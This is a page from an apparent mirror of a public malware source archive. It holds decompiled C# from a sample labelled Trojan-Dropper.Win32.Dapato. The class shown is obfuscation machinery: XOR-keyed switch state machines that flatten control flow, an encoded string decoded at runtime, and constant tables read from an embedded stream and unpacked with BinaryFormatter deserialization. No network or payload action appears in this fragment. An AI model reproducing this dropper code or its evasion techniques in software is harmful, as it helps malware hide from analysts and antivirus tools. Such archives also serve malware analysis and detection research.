mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
255 lines
5.9 KiB
C#
255 lines
5.9 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: c
|
|||
|
// Assembly: Fugi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: BEDD3B0B-7024-4DCA-82E7-4DC806657EA8
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.adjp-c7222843a23fc031926828311c4204ba181271a1dde91017bc4695dc95b5fc46.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.IO;
|
|||
|
using System.Runtime.Serialization.Formatters.Binary;
|
|||
|
|
|||
|
internal sealed class c
|
|||
|
{
|
|||
|
public static int a(int a) => c.a.a.b[a];
|
|||
|
|
|||
|
public static long a(int a) => c.a.a.c[a];
|
|||
|
|
|||
|
public static float a(int a) => c.a.a.d[a];
|
|||
|
|
|||
|
public static double a(int a) => c.a.a.e[a];
|
|||
|
|
|||
|
public static Array a(byte[] a)
|
|||
|
{
|
|||
|
MemoryStream a1 = new MemoryStream(a);
|
|||
|
label_10:
|
|||
|
int num1 = -515919758;
|
|||
|
int num2 = -1015581650;
|
|||
|
label_2:
|
|||
|
num2 ^= 1019401914;
|
|||
|
int num3;
|
|||
|
int num4;
|
|||
|
switch (num2 + 4873581)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_10;
|
|||
|
case 1:
|
|||
|
BinaryFormatter binaryFormatter;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num1 ^= 512422144;
|
|||
|
switch (num1 + 4898446)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
binaryFormatter = new BinaryFormatter();
|
|||
|
num1 = -515919757;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
goto label_12;
|
|||
|
default:
|
|||
|
goto label_9;
|
|||
|
}
|
|||
|
}
|
|||
|
label_12:
|
|||
|
MemoryStream serializationStream = l.a((Stream) a1);
|
|||
|
try
|
|||
|
{
|
|||
|
return (Array) binaryFormatter.Deserialize((Stream) serializationStream);
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
if ((serializationStream == null ? 1 : 0) == 0)
|
|||
|
serializationStream.Dispose();
|
|||
|
}
|
|||
|
default:
|
|||
|
label_8:
|
|||
|
num3 = 1253577736;
|
|||
|
num4 = 768216154;
|
|||
|
goto label_4;
|
|||
|
}
|
|||
|
label_3:
|
|||
|
num3 ^= 1249911885;
|
|||
|
switch (num3)
|
|||
|
{
|
|||
|
case 3682373:
|
|||
|
goto label_9;
|
|||
|
case 3682374:
|
|||
|
goto label_2;
|
|||
|
default:
|
|||
|
goto label_7;
|
|||
|
}
|
|||
|
label_4:
|
|||
|
num4 ^= 771679989;
|
|||
|
switch (num4)
|
|||
|
{
|
|||
|
case 3467950:
|
|||
|
goto label_8;
|
|||
|
case 3467951:
|
|||
|
goto label_3;
|
|||
|
default:
|
|||
|
goto label_6;
|
|||
|
}
|
|||
|
label_5:
|
|||
|
int num5;
|
|||
|
switch (num5 ^ 468325142)
|
|||
|
{
|
|||
|
case 3919889:
|
|||
|
goto label_7;
|
|||
|
case 3919890:
|
|||
|
goto label_4;
|
|||
|
}
|
|||
|
label_6:
|
|||
|
num5 = 466731783;
|
|||
|
goto label_5;
|
|||
|
label_7:
|
|||
|
num4 = 768216155;
|
|||
|
num5 = 466731780;
|
|||
|
goto label_5;
|
|||
|
label_9:
|
|||
|
num2 = -1015581655;
|
|||
|
num3 = 1253577739;
|
|||
|
goto label_3;
|
|||
|
}
|
|||
|
|
|||
|
public static string a => e.a("\uEDC5\uEDCF\uEDC6\uED92\uEDC0\uED95\uED95\uEDC0\uEDC3\uED91\uEDC4\uED96\uED92\uEDC7\uED91\uEDC4", 60791);
|
|||
|
|
|||
|
private sealed class a
|
|||
|
{
|
|||
|
public static readonly c.a a;
|
|||
|
internal int[] b;
|
|||
|
internal long[] c;
|
|||
|
internal float[] d;
|
|||
|
internal double[] e;
|
|||
|
|
|||
|
static a()
|
|||
|
{
|
|||
|
b.a();
|
|||
|
c.a.a = new c.a();
|
|||
|
}
|
|||
|
|
|||
|
private a() => this.a((Stream) l.a(y.a((object) x.a(), c.a)));
|
|||
|
|
|||
|
private void a(Stream a)
|
|||
|
{
|
|||
|
BinaryReader a1 = z.a(a);
|
|||
|
label_2:
|
|||
|
int num1 = 730339864;
|
|||
|
int length1;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num1 ^ 732237328)
|
|||
|
{
|
|||
|
case 2954247:
|
|||
|
this.b = new int[length1];
|
|||
|
num1 = 730339866;
|
|||
|
continue;
|
|||
|
case 2954248:
|
|||
|
length1 = aa.a((object) a1);
|
|||
|
num1 = 730339865;
|
|||
|
continue;
|
|||
|
case 2954249:
|
|||
|
if (length1 > 0)
|
|||
|
{
|
|||
|
num1 = 730339863;
|
|||
|
continue;
|
|||
|
}
|
|||
|
goto label_9;
|
|||
|
case 2954250:
|
|||
|
goto label_8;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
label_8:
|
|||
|
while (--length1 >= 0)
|
|||
|
this.b[length1] = aa.a((object) a1);
|
|||
|
label_9:
|
|||
|
int length2 = aa.a((object) a1);
|
|||
|
while ((length2 <= 0 ? 0 : 1) != 0)
|
|||
|
{
|
|||
|
this.c = new long[length2];
|
|||
|
while (--length2 >= 0)
|
|||
|
this.c[length2] = ab.a((object) a1);
|
|||
|
}
|
|||
|
int length3 = aa.a((object) a1);
|
|||
|
while ((length3 <= 0 ? 0 : 1) != 0)
|
|||
|
{
|
|||
|
this.d = new float[length3];
|
|||
|
while (--length3 >= 0)
|
|||
|
this.d[length3] = ac.a((object) a1);
|
|||
|
}
|
|||
|
label_32:
|
|||
|
int num2 = 557462310;
|
|||
|
int num3 = -384716687;
|
|||
|
label_20:
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num3 ^= 379780358;
|
|||
|
label_24:
|
|||
|
int num4 = -1442227832;
|
|||
|
int num5 = -712615296;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch ((num5 ^ 707200521) + 6202233)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_24;
|
|||
|
case 1:
|
|||
|
switch (num4 + 6308697)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
switch (num3 + 5026443)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
switch (num2)
|
|||
|
{
|
|||
|
case 3012693:
|
|||
|
length3 = aa.a((object) a1);
|
|||
|
num2 = 557462309;
|
|||
|
goto label_19;
|
|||
|
case 3012694:
|
|||
|
goto label_37;
|
|||
|
default:
|
|||
|
goto label_31;
|
|||
|
}
|
|||
|
case 1:
|
|||
|
goto label_32;
|
|||
|
case 2:
|
|||
|
label_19:
|
|||
|
num2 ^= 555207539;
|
|||
|
goto label_29;
|
|||
|
default:
|
|||
|
num4 = -1442227833;
|
|||
|
goto label_21;
|
|||
|
}
|
|||
|
case 1:
|
|||
|
label_29:
|
|||
|
num3 = -384716685;
|
|||
|
num4 = -1442227834;
|
|||
|
goto label_21;
|
|||
|
case 2:
|
|||
|
goto label_20;
|
|||
|
default:
|
|||
|
num5 = -712615282;
|
|||
|
continue;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
label_21:
|
|||
|
num4 ^= 1435952431;
|
|||
|
break;
|
|||
|
}
|
|||
|
num5 = -712615295;
|
|||
|
}
|
|||
|
label_31:
|
|||
|
num3 = -384716688;
|
|||
|
}
|
|||
|
label_37:
|
|||
|
while ((length3 <= 0 ? 0 : 1) != 0)
|
|||
|
{
|
|||
|
this.e = new double[length3];
|
|||
|
while (--length3 >= 0)
|
|||
|
this.e[length3] = ad.a((object) a1);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|